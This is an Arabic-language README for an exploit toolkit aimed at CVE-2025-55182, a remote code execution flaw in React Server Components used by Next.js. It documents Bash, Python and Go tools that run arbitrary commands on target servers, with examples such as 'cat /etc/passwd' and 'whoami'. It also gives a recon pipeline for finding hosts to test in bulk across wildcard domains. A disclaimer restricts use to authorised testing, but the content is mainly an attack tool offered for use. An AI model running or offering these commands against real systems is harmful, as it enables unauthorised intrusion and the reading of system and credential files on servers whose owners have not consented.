CVE-2025-55182: ماسح ضوئي لثغرة تنفيذ الأوامر عن بُعد في React Server Components

مجموعة أدوات شاملة لاكتشاف واستغلال CVE-2025-55182، وهي ثغرة حرجة لتنفيذ الأوامر عن بُعد في تطبيقات Next.js التي تستخدم مكونات React Server.

يحتوي هذا المستودع على ماسح Bash موحد (وضع فردي ووضع جماعي)، وتنفيذات بلغة Python/Go، وسير عمل استطلاع لمكافآت الأخطاء.

📂 هيكل المستودع

• scanner.sh — سكريبت Bash شامل لفحص هدف واحد وفحص جماعي
• python/exploit.py — تنفيذ Python مستقر (تسكين أفضل لـ JSON)
• go/main.go — تنفيذ عالي الأداء (قابل للتجميع)

🚀 سير عمل الاستطلاع (منهجية صيد الثغرات)

للبحث الجماعي في النطاقات البدل، استخدم هذا الأنبوب لتصفية الأهداف قبل المسح:

# 1. Enumerate subdomains
subfinder -dL wildcards.txt -all -recursive > subs.txt

# 2. Filter for live hosts
httpx -l subs.txt -o live.txt

# 3. Pre-scan detection using Nuclei (optional)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt

🛠️ استخدام الماسح Bash (موصى به)

يدعم سكريبت scanner.sh فحص هدف واحد وفحص جماعي من قائمة ملفات.

🔧 التثبيت

chmod +x scanner.sh

1️⃣ وضع الهدف الفردي

الأفضل للتحقق من هدف معين مع إخراج مفصل.

# Basic check (defaults to "id")
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d https://target.com -c "cat /etc/passwd"

2️⃣ وضع الفحص الجماعي

يقوم بفحص قائمة عناوين URL بكفاءة وحفظ المضيفين المعرضين للخطر في ملف.

# Scan a list of URLs
./scanner.sh -l live.txt -c "whoami"

# Custom output file
./scanner.sh -l live.txt -o my_bounty.txt

الخيارات

🐍 إصدار Python

استخدم هذا إذا واجهت مشاكل مع تخطي Bash للأحرف الخاصة.

المتطلبات

pip install requests

الاستخدام

python3 python/exploit.py -u http://target.com -c "uname -a"

🐹 إصدار Go

أداء عالي، تبعيات ضئيلة.

التشغيل مباشرة

go run go/main.go -u http://target.com -c "id"

بناء ملف ثنائي

cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com

⚠️ إخلاء مسؤولية

هذه الأداة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الاستخدام غير المصرح به غير قانوني تمامًا. لا يتحمل المطور أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذا البرنامج.

🔗 المراجع

• تفاصيل CVE من NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

• نشرة أمان React (ثغرة مكونات React Server): https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

• قالب ProjectDiscovery Nuclei: https://cloud.projectdiscovery.io/library/CVE-2025-55182